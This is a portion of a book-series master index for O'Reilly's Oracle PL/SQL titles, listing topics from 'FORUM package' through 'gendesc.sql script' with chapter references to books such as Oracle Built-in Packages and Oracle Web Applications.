FORUM package: 8.3.3. Implementation Notes, Oracle Web Applications
create_msg_form procedure
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
save_message procedure
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
view_message procedure
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
current_forum_list procedure
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
print_thread_links procedure
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
FORUM_USERS package
8.3.3. Implementation Notes, Oracle Web Applications
8.3.5. The FORUM_USERS Package, Oracle Web Applications
create_user_form
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
get_current_user
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
login procedure
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
login_form procedure
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
save_user_info
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
FREETEMPORARY procedure, DBMS_LOB package: 7.5.2.2. FREETEMPORARY: Freeing the temporary LOB, Guide to Oracle8i Features
FREE_BLOCKS procedure: 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure, Oracle Built-in Packages
FREE_UNUSED_USER_MEMORY procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure, Oracle Built-in Packages
FROG (Funky Resource for Oracle Gorillas): 6.4. PL/SQL Tools, Oracle Web Applications
FTP: 1.3.1. The Internet File System, Oracle Web Applications
FUNCTION column, *_POLICIES data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
FX (format exact) modifier: 14.3.2. FX: Matching Formats Exactly, Oracle PL/SQL Programming
FrontPage: 1.3.9.2. Multimedia data, Oracle Web Applications
factor function
5.27.3. Setting the factoring value, Advanced Oracle PL/SQL Programming with Packages
14.3.3. Setting the Timing Factor, Advanced Oracle PL/SQL Programming with Packages
fast refresh: 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
fclose procedure
5.11.8. Closing a file, Advanced Oracle PL/SQL Programming with Packages
5.17.6. Managing the log , Advanced Oracle PL/SQL Programming with Packages
13.4. Opening and Closing Files, Advanced Oracle PL/SQL Programming with Packages
21.1.3.2. Closing the file, Advanced Oracle PL/SQL Programming with Packages
fclose_all procedure
5.11.8. Closing a file, Advanced Oracle PL/SQL Programming with Packages
13.4. Opening and Closing Files, Advanced Oracle PL/SQL Programming with Packages
fcopy procedure
5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
13.7.1. Copying File to File, Advanced Oracle PL/SQL Programming with Packages
fcreate function
5.11.5. Creating files, Advanced Oracle PL/SQL Programming with Packages
13.3. Creating and Checking Existence of Files, Advanced Oracle PL/SQL Programming with Packages
fetch_object procedure
5.20.5. Interfacing with the PLVobj cursor, Advanced Oracle PL/SQL Programming with Packages
11.4.2. Fetching from the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
fetching
from cursor variables: 6.12.5. Fetching from Cursor Variables, Oracle PL/SQL Programming
from cursors: 6.6. Fetching from Cursors, Oracle PL/SQL Programming
checking status of FETCH: 6.9.1. The %FOUND Attribute, Oracle PL/SQL Programming
from PLVobj cursor: 11.4.2. Fetching from the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
rows: (see rows, fetching)
to cursors, multiple times: 6.13.1.2. Using multiple fetches more efficiently , Oracle PL/SQL Programming
fexists function
5.11.6. Checking for file existence, Advanced Oracle PL/SQL Programming with Packages
13.3.1. Checking a File's Existence, Advanced Oracle PL/SQL Programming with Packages
fgac.sql file: 8.5. A Complete FGAC Example, Guide to Oracle8i Features
fields, record: (see records)
fifo constant: 5.24.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
file attributes: 1.2.1.1. Finding what you need, Oracle Web Applications
file constant: 5.3.1. PL/Vision constants, Advanced Oracle PL/SQL Programming with Packages
file extensions: 3.2.3.3. MIME type mappings, Oracle Web Applications
file handles: 13.1.2. File Handles, Advanced Oracle PL/SQL Programming with Packages
file numbers: (see absolute file numbers; data block addresses; relative file numbers)
file, WebDB dashboard: 3.1.3.1. User-uploaded content, Oracle Web Applications
file2list procedure
5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
13.7.3. Copying File to List, Advanced Oracle PL/SQL Programming with Packages
file2pstab procedure
5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
13.7.2. Copying File to PL/SQL Table, Advanced Oracle PL/SQL Programming with Packages
file2tab.sp : 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
fileIO package
(see also specific program names)
6.2.6.3. Combining locations and filenames, Oracle Built-in Packages
6.2.6.4. Adding support for paths, Oracle Built-in Packages
file_exists function: 6.2.7.3. Testing for a file's existence, Oracle Built-in Packages
file_to_table procedure: 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
fileexc.sql : 6.2.6.1. Handling file I/O errors, Oracle Built-in Packages
filenames, encrypted file extensions: 23.7.2. Working with Encrypted Code, Oracle PL/SQL Programming
filepath.spp : 6.2.6.4. Adding support for paths, Oracle Built-in Packages
filepath.tst : 6.2.6.4. Adding support for paths, Oracle Built-in Packages
files
(see also BFILEs; UTL_FILE package)
13. PLVfile: Reading and Writing Operating System Files, Advanced Oracle PL/SQL Programming with Packages
6.2. UTL_FILE: Reading and Writing Server-side Files, Oracle Built-in Packages
I/O errors: 6.2.6.1. Handling file I/O errors, Oracle Built-in Packages
as code repository: 12.2.5. Standard Output Target, Advanced Oracle PL/SQL Programming with Packages
checking for existence of
5.11.6. Checking for file existence, Advanced Oracle PL/SQL Programming with Packages
13.3. Creating and Checking Existence of Files, Advanced Oracle PL/SQL Programming with Packages
closing: 21.1.3.2. Closing the file, Advanced Oracle PL/SQL Programming with Packages
all files: 6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure, Oracle Built-in Packages
one file: 6.2.5.1. The UTL_FILE.FCLOSE procedure, Oracle Built-in Packages
unclosed files: 6.2.6.2. Closing unclosed files, Oracle Built-in Packages
copying
5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
13.7. Copying File Contents, Advanced Oracle PL/SQL Programming with Packages
created during installation: 4.6. Summary of Files on Disk, Advanced Oracle PL/SQL Programming with Packages
creating: 5.11.5. Creating files, Advanced Oracle PL/SQL Programming with Packages
deleting: 6.2.1.7. UTL_FILE restrictions and limitations, Oracle Built-in Packages
ROWIDs and: 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function, Oracle Built-in Packages
encrypted code, size of: 23.7.3. Impact of Encrypting Code, Oracle PL/SQL Programming
existence of (example): 6.2.7.2. Creating a file, Oracle Built-in Packages
file errors: 13.9. Handling File Errors with PLVfile, Advanced Oracle PL/SQL Programming with Packages
filenames: 13.1.3. File Location, Name, and Mode, Advanced Oracle PL/SQL Programming with Packages
flushing data: 6.2.4.5. The UTL_FILE.FFLUSH procedure, Oracle Built-in Packages
for package specifications: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
handles, closing files and: 6.2.5.2. The UTL_FILE.FCLOSE_ALL procedure, Oracle Built-in Packages
line length: 6.2.1.7. UTL_FILE restrictions and limitations, Oracle Built-in Packages
locating
6.2.1.4. Specifying file locations, Oracle Built-in Packages
6.2.6.3. Combining locations and filenames, Oracle Built-in Packages
log: 21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
logging: (see logging)
mapped files: 6.2.1.7. UTL_FILE restrictions and limitations, Oracle Built-in Packages
name extensions: 2.4. Organizing Package Source Code, Advanced Oracle PL/SQL Programming with Packages
opening and closing
A HREF="../ch06_02.htm#ch06-SECT-2.2.1">6.2.2.1. The UTL_FILE.FOPEN function, Oracle Built-in Packages
5.11.7. Opening a file, Advanced Oracle PL/SQL Programming with Packages
13.4. Opening and Closing Files, Advanced Oracle PL/SQL Programming with Packages
operating system: C.17. UTL_FILE, Oracle PL/SQL Programming
parsing name of: 5.11.13. Miscellaneous operations, Advanced Oracle PL/SQL Programming with Packages
random access: 6.2.1.7. UTL_FILE restrictions and limitations, Oracle Built-in Packages
example: 6.2.7.5. Getting the nth line from a file, Oracle Built-in Packages
read/write modes
6.2.2.1. The UTL_FILE.FOPEN function, Oracle Built-in Packages
6.2.4. Writing to Files, Oracle Built-in Packages
reading from
6.2.1.8. The UTL_FILE process flow, Oracle Built-in Packages
6.2.3.1. The UTL_FILE.GET_LINE procedure, Oracle Built-in Packages
enhancing GET_LINE: 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
13.5. Reading From a File, Advanced Oracle PL/SQL Programming with Packages
5.11.9. Reading from a file, Advanced Oracle PL/SQL Programming with Packages
renaming: 6.2.1.7. UTL_FILE restrictions and limitations, Oracle Built-in Packages
searching (example): 6.2.7.4. Searching a file for a string, Oracle Built-in Packages
security and UTL_FILE: 6.2.1.3. File security, Oracle Built-in Packages
string size maximum: 6.2.4. Writing to Files, Oracle Built-in Packages
testing if open
6.2.2.2. The UTL_FILE.IS_OPEN function, Oracle Built-in Packages
6.2.6.5. You closed what?, Oracle Built-in Packages
writing to
13.6. Writing to a File, Advanced Oracle PL/SQL Programming with Packages
6.2.1.8. The UTL_FILE process flow, Oracle Built-in Packages
6.2.4. Writing to Files, Oracle Built-in Packages
data: 6.2.4.1. The UTL_FILE.PUT procedure, Oracle Built-in Packages
data with newline marker: 6.2.4.3. The UTL_FILE.PUT_LINE procedure, Oracle Built-in Packages
formatted items: 6.2.4.4. The UTL_FILE.PUTF procedure, Oracle Built-in Packages
newline markers: 6.2.4.2. The UTL_FILE.NEW_LINE procedure, Oracle Built-in Packages
filesystems: 1.2.1.1. Finding what you need, Oracle Web Applications
fileupd.sp : 2.5.6.3. Using array processing to update, Oracle Built-in Packages
filexist.sf : 6.2.7.3. Testing for a file's existence, Oracle Built-in Packages
fillblck.fp : 2.3.7.1. The DBMS_SQL.FETCH_ROWS function, Oracle Built-in Packages
filtering trace information: 26.2.3. Filtering Trace Information, Oracle PL/SQL Programming
finding
Record Found? function: 16.2.7. Generating a "Record Found?" Function, Advanced Oracle PL/SQL Programming with Packages
foreign key names: 19.6.3. Looking Up the Name, Advanced Oracle PL/SQL Programming with Packages
help text: 17.5.2. Locating Text in the Data Dictionary, Advanced Oracle PL/SQL Programming with Packages
source code: 15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
firewalls: 2.5.5. Additional Security Precautions, Oracle Web Applications
first-in-first-out queues: (see queues)
fixdefer.sql : 17.2.4.4. The DBMS_DEFER_SYS.EXECUTE_ERROR procedure, Oracle Built-in Packages
fixed-point numbers: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
fixed-width character sets: (see CLOBs; NCLOBs)
fixes, code: 1.6.1.6. Hide weaknesses to facilitate upgrades and fixes., Advanced Oracle PL/SQL Programming with Packages
fkname.sf : 2.5.2. A Generic Foreign Key Lookup Function, Oracle Built-in Packages
fkname2.sf : 2.5.2. A Generic Foreign Key Lookup Function, Oracle Built-in Packages
fkname3.sf : 2.5.2. A Generic Foreign Key Lookup Function, Oracle Built-in Packages
fky procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
flags, OWA_PATTERN package: 7.2.2.1. Regular expressions, Oracle Web Applications
flexibility
2.5.1. Seeing Developers as Users, Advanced Oracle PL/SQL Programming with Packages
2.6. Building Flexibility Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
2.10. Hiding Package Data, Advanced Oracle PL/SQL Programming with Packages
16.4.3.1. Flexibility of put_line, Advanced Oracle PL/SQL Programming with Packages
logging: 21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
transaction processing: 20.1.1. Who Needs PLVcmt?, Advanced Oracle PL/SQL Programming with Packages
floating-point numbers: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
folder
default: 13.2.2. Setting the Default Directory, Advanced Oracle PL/SQL Programming with Packages
PL/Vision: 4.3.3. Beginning the Installation, Advanced Oracle PL/SQL Programming with Packages
setting default: 5.11.4. Setting the default directory or location, Advanced Oracle PL/SQL Programming with Packages
folderlink, WebDB dashboard: 3.1.3.1. User-uploaded content, Oracle Web Applications
folders, WebDB: 3.1.3.2. Managing content, Oracle Web Applications
fonts library, WebDB: 3.1.2.3. Building shared components, Oracle Web Applications
fopen procedure
5.11.7. Opening a file, Advanced Oracle PL/SQL Programming with Packages
13.4. Opening and Closing Files, Advanced Oracle PL/SQL Programming with Packages
forallerr.sql file: 5.2.2. ROLLBACK Behavior with FORALL, Guide to Oracle8i Features
forced compilation: 20.7.3. Forcing Compilation, Oracle PL/SQL Programming
forcur procedure: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
foreign keys
information: 5.12. PLVfk: Foreign Key Interface, Advanced Oracle PL/SQL Programming with Packages
object reference versus: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
obtaining description of (example): 2.5.2. A Generic Foreign Key Lookup Function, Oracle Built-in Packages
validating entry of (example): 6.13.1. Validating Foreign Key Entry with Cursors, Oracle PL/SQL Programming
VARCHAR2 in: 2.5.2. A Generic Foreign Key Lookup Function, Oracle Built-in Packages
foreign key lookup
19.6. PLVfk: Generic Foreign Key Lookups, Advanced Oracle PL/SQL Programming with Packages
A.1.8. Module Evaluation: Foreign Key Lookup, Advanced Oracle PL/SQL Programming with Packages
A.2.8. Module Evaluation: Foreign Key Lookup, Advanced Oracle PL/SQL Programming with Packages
optimizing in tables: 10.9.5. Optimizing Foreign Key Lookups with PL/SQL Tables, Oracle PL/SQL Programming
form page wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
formal parameters
6.1.3. Parameters, Oracle Web Applications
15.6.3. Actual and Formal Parameters, Oracle PL/SQL Programming
naming: 22.1.2. Develop Consistent Naming Conventions for Your Formal Parameters , Oracle PL/SQL Programming
format
FM and FX modifiers: 14.3.1. FM: Suppressing Blanks and Zeros, Oracle PL/SQL Programming
RR model: 14.3.3. RR: Changing Millenia, Oracle PL/SQL Programming
date: (see date and time)
help text: 17.4.3. Creating Help Text, Advanced Oracle PL/SQL Programming with Packages
models: 14.1. Conversion Formats, Oracle PL/SQL Programming
verifying string: 11.2.5. Verifying String Formats with TRANSLATE, Oracle PL/SQL Programming
format strings, PUTF and: 6.2.4.4. The UTL_FILE.PUTF procedure, Oracle Built-in Packages
formatting code
5.13. PLVgen: PL/SQL Code Generator, Advanced Oracle PL/SQL Programming with Packages
3.1. Fundamentals of Effective Layout, Oracle PL/SQL Programming
forms, HTML: 2.4.3.2. Using an HTML form, Oracle Web Applications
forums, creating as web applications: 8.3. Example 2: A Discussion Forum, Oracle Web Applications
forward declarations: 15.9. Forward Declarations, Oracle PL/SQL Programming
forward procedure: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
forward type definitions: 18.3.5.1. Forward type definitions, Oracle PL/SQL Programming
frame driver page wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
free format trace filtering: 26.3. Free Format Filtering, Oracle PL/SQL Programming
freelist blocks, number available: 12.1.2.1. The DBMS_SPACE.FREE_BLOCKS procedure, Oracle Built-in Packages
freelist_blocks function: 12.1.3.1. The segspace package, Oracle Built-in Packages
fullname function: 5.20.4. Accessing the current object, Advanced Oracle PL/SQL Programming with Packages
func procedure
5.13.8. Generating functions, Advanced Oracle PL/SQL Programming with Packages
5.27.6. Calibration and timing scripts, Advanced Oracle PL/SQL Programming with Packages
14.4.2. Calculating Overhead of an Action, Advanced Oracle PL/SQL Programming with Packages
16.2.3. Generating a Function, Advanced Oracle PL/SQL Programming with Packages
16.4.4. Overloading in PLVgen, Advanced Oracle PL/SQL Programming with Packages
function codes: 2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function, Oracle Built-in Packages
function wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
function_schema parameter, ADD_POLICY procedure: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
functional abstraction: 18.1.5.3. Abstraction , Oracle PL/SQL Programming
functions
(see also under specific function name, modules)
A.1.5. Builtin Functions, Advanced Oracle PL/SQL Programming with Packages
1.6.5. Calling Packaged Functions in SQL, Advanced Oracle PL/SQL Programming with Packages
3.6. Building a Structured Function, Advanced Oracle PL/SQL Programming with Packages
5.13.8. Generating functions, Advanced Oracle PL/SQL Programming with Packages
1.4.3.10. Modular construction, Oracle PL/SQL Programming
15. Procedures and Functions, Oracle PL/SQL Programming
15.5. Functions, Oracle PL/SQL Programming
22.1.1. Make Sure the Module Name Explains the Module, Oracle PL/SQL Programming
22.2. Build the Most Functional Functions, Oracle PL/SQL Programming
IN OUT and OUT parameters in: 22.2.1.1. Do not use OUT and IN OUT parameters, Oracle PL/SQL Programming
PL/SQL, calling in SQL: 25.3.2. Call PL/SQL Functions in SQL to Reduce I/O, Oracle PL/SQL Programming
PLV package: 6. PLV: Top-Level Constants and Functions , Advanced Oracle PL/SQL Programming with Packages
RETURN statement: 15.5.8. The RETURN Statement, Oracle PL/SQL Programming
avoiding ambiguous arguments: 2.8.1.3. Unambiguous, simple arguments, Advanced Oracle PL/SQL Programming with Packages
built-in
A.2.5. Builtin Functions, Advanced Oracle PL/SQL Programming with Packages
1.4.3.5. Built-in functions , Oracle PL/SQL Programming
1.6.2. Built-in functions, Oracle PL/SQL Programming
collections as return values: 19.2.2.4. Collections as the datatype of a function's return value, Oracle PL/SQL Programming
conversion: 14. Conversion Functions, Oracle PL/SQL Programming
date and time: 12. Date Functions, Oracle PL/SQL Programming
describing: 10.2.1.3. The DBMS_DESCRIBE.DESCRIBE_PROCEDURE procedure, Oracle Built-in Packages
for LOBs: 13.2. LOB Function Descriptions, Oracle PL/SQL Programming
for characters, strings: 11. Character Functions, Oracle PL/SQL Programming
for collections
built-in: 19.6. Collection Built-Ins, Oracle PL/SQL Programming
pseudo-functions: 19.5. Collection Pseudo-Functions, Oracle PL/SQL Programming
formatting: 3.4. Formatting PL/SQL Blocks, Oracle PL/SQL Programming
generating: 16.2.3. Generating a Function, Advanced Oracle PL/SQL Programming with Packages
group: 6.13.1.1. Inefficiency of group functions in cursors, Oracle PL/SQL Programming
headers of: 15.5.5. Function Header, Oracle PL/SQL Programming
local
15.7. Local Modules, Oracle PL/SQL Programming
22.3. Take Full Advantage of Local Modularization, Oracle PL/SQL Programming
miscellaneous: 13.3. Miscellaneous Function Descriptions, Oracle PL/SQL Programming
names for: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
naming: 2.3.1. Choosing Appropriate and Accurate Names, Advanced Oracle PL/SQL Programming with Packages
naming precedence: 17.6. Column/Function Name Precedence, Oracle PL/SQL Programming
numeric: 13. Numeric, LOB, and Miscellaneous Functions, Oracle PL/SQL Programming
overloaded: 15.8.4. Restrictions on Overloading, Oracle PL/SQL Programming
packaged: 17.5. Calling Packaged Functions in SQL, Oracle PL/SQL Programming
parameters of: 15.6. Parameters, Oracle PL/SQL Programming
without: 15.5.4.1. Functions without parameters, Oracle PL/SQL Programming
PL/SQL: 6.1.2. Functions, Oracle Web Applications
recompiling: 10.3.2. Compiling PL/SQL Objects, Oracle Built-in Packages
records as parameters: 9.1.4. Guidelines for Using Records, Oracle PL/SQL Programming
referencing in packages: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
returned value of: 15.5.2. The RETURN Datatype, Oracle PL/SQL Programming
returning objects: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
returning tables from: 10.8.1.1. Referencing fields of record elements in PL/SQL tables, Oracle PL/SQL Programming
scope of: 3.8. Broadening the Scope, Advanced Oracle PL/SQL Programming with Packages
shared: 23.1.2. Executing Functions, Oracle PL/SQL Programming
tables as parameters for: 10.5.4. Passing PL/SQL Tables as Parameters, Oracle PL/SQL Programming
template for: 22.2.2.1. Build a function template, Oracle PL/SQL Programming
user information: 13.3.7. The UID function, Oracle PL/SQL Programming
using single RETURN statement: 22.2.2. Use a Single RETURN Statement for Successful Termination, Oracle PL/SQL Programming
with NULL arguments: 4.3.3. Function Results with NULL Arguments, Oracle PL/SQL Programming
funnelling in messages: 5.1.4. Propagation Features, Oracle Built-in Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: G

Index: G

GENERAL_FORM Package
8.3.4. The GENERAL_FORM Package, Oracle Web Applications
8.3.3. Implementation Notes, Oracle Web Applications
GENERATE_REPLICATION_PACKAGE procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.4.2. The DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE procedure, Oracle Built-in Packages
GENERATE_REPLICATION_SUPPORT procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
altering replicated objects and: 15.3.3.5. The DBMS_REPCAT.ALTER_MASTER_REPOBJECT procedure, Oracle Built-in Packages
GENERATE_REPLICATION_TRIGGER procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.4.3. The DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER procedure, Oracle Built-in Packages
GET function, OWA_COOKIE package: 7.3.1.2. Procedures and functions, Oracle Web Applications
GETLENGTH function
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.2.2. The DBMS_LOB.GETLENGTH function, Oracle Built-in Packages
C.6.11. The GETLENGTH function, Oracle PL/SQL Programming
GET_<datatype>_ARG function
17.4.1.1. DBMS_DEFER_QUERY programs, Oracle Built-in Packages
17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_ALL procedure, OWA_COOKIE package: 7.3.1.2. Procedures and functions, Oracle Web Applications
GET_ARG_TYPE function
17.4.1.1. DBMS_DEFER_QUERY programs, Oracle Built-in Packages
17.4.1.3. The DBMS_DEFER_QUERY.GET_ARG_TYPE function, Oracle Built-in Packages
GET_BLOB_ARG: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_CALL_ARGS procedure
17.4.1.1. DBMS_DEFER_QUERY programs, Oracle Built-in Packages
17.4.1.4. The DBMS_DEFER_QUERY.GET_CALL_ARGS procedure, Oracle Built-in Packages
GET_CGI_ENV function: 7.4.1.2. Querying the environment, Oracle Web Applications
GET_CHAR_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_CLIENT_HOSTNAME procedure, OWA_SEC package: 7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
GET_CLIENT_IP procedure, OWA_SEC package: 7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
GET_CLOB_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_COMPILER OPTION function, DBMS_JAVA package: 9.7.2. GET_, SET_, and RESET_COMPILER OPTIONS: Getting and Setting Compiler Options , Guide to Oracle8i Features
GET_DATE_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_HASH_VALUE function
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
GET_LINE procedure
C.9.3. The GET_LINE procedure, Oracle PL/SQL Programming
C.17.1.5. The GET_LINE procedure, Oracle PL/SQL Programming
6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
6.1.4.1. The DBMS_OUTPUT.GET_LINE procedure, Oracle Built-in Packages
GET_LINE procedure (UTL_FILE)
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
6.2.3.1. The UTL_FILE.GET_LINE procedure, Oracle Built-in Packages
datatype conversions and: 6.2.3.1. The UTL_FILE.GET_LINE procedure, Oracle Built-in Packages
exception handling (example): 6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
GET_LINES procedure
C.9.4. The GET_LINES procedure, Oracle PL/SQL Programming
6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
6.1.4.2. The DBMS_OUTPUT.GET_LINES procedure, Oracle Built-in Packages
GET_LOG_AGE procedure: C.13.2. The GET_LOG_AGE procedure, Oracle PL/SQL Programming
GET_NCHAR_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_NCLOB_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_NUMBER_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_NVARCHAR2_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_OWA_SERVICE_PATH function: 7.4.1.2. Querying the environment, Oracle Web Applications
GET_PARAMETER_VALUE function
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.13. The DBMS_UTILITY.GET_PARAMETER_VALUE function , Oracle Built-in Packages
GET_PASSWORD procedure, OWA_SEC package: 7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
GET_PAT function, OWA_PATTERN package: 7.2.2.3. Procedures and functions, Oracle Web Applications
GET_PROCEDURE function: 7.4.1.1. Debugging, Oracle Web Applications
GET_RAW_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_ROWID function, OWA_OPT_LOCK package: 7.3.2.2. Procedures and functions, Oracle Web Applications
GET_ROWID_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GET_TIME function
25.1.1. Use the DBMS_UTILITY.GET_TIME Function, Oracle PL/SQL Programming
14. PLVtmr: Analyzing Program Performance, Advanced Oracle PL/SQL Programming with Packages
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.14. The DBMS_UTILITY.GET_TIME function, Oracle Built-in Packages
C.16.6. The GET_TIME function, Oracle PL/SQL Programming
GET_USER_ID procedure, OWA_SEC package: 7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
GET_VARCHAR2_ARG function: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
GIF format: 1.3.9.2. Multimedia data, Oracle Web Applications
GIS (geographic information systems): 1.3.9.3. Spatial data, Oracle Web Applications
GOTO statements: 5.2.1. The GOTO Statement, Oracle PL/SQL Programming
inside loop: 7.7.2.4. GOTO statements inside a loop, Oracle PL/SQL Programming
with NULL statements: 5.2.2.4. Using NULL with GOTO to avoid additional statement execution, Oracle PL/SQL Programming
GRANT EXECUTE
6.1.6. Permissions, Oracle Web Applications
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
GRANT command
1.3.5. Guaranteeing Transaction Integrity, Advanced Oracle PL/SQL Programming with Packages
7.6.2. System-Level Access Control, Guide to Oracle8i Features
GRANT_ADMIN_ANY_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
15.2.2.3. The DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP procedure, Oracle Built-in Packages
GRANT_ADMIN_ANY_REPSCHEMA procedure: 15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
GRANT_ADMIN_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
15.2.2.1. The DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP procedure, Oracle Built-in Packages
GRANT_ADMIN_REPSCHEMA procedure: 15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
GRANT_QUEUE_PRIVILEGE procedure, DBMS_AQADM package: 7.6.3. Queue-Level Access Control, Guide to Oracle8i Features
GRANT_SURROGATE_REPCAT procedure
15.1.1.1. DBMS_REPCAT_AUTH programs, Oracle Built-in Packages
15.1.2.1. The DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT procedure, Oracle Built-in Packages
GRANT_SYSTEM_PRIVILEGE procedure, DBMS_AQADM package: 7.6.2.2. REVOKE_SYSTEM_PRIVILEGE: Revoking system-level privileges, Guide to Oracle8i Features
GRANT_TYPE_ACCESS procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.1.1. The DBMS_AQADM.GRANT_TYPE_ACCESS procedure, Oracle Built-in Packages
GREATEST function: 13.3.2. The GREATEST function, Oracle PL/SQL Programming
GROUP BY clause
for partial column values: 17.8.5. GROUP BY Partial Column Values, Oracle PL/SQL Programming
functions in: 17.1. Looking at the Problem, Oracle PL/SQL Programming
gas generators: 5.13.9. Generating get-and-set routines, Advanced Oracle PL/SQL Programming with Packages
gas procedure: 16.2.4. Generating Get-and-Set Routines, Advanced Oracle PL/SQL Programming with Packages
gateways, PL/SQL: 2.3.2. The PL/SQL Gateway, Oracle Web Applications
gendesc.sql script: 11.7.1. Some Simple Applications of loopexec, Advanced Oracle PL/SQL Programming with Packages
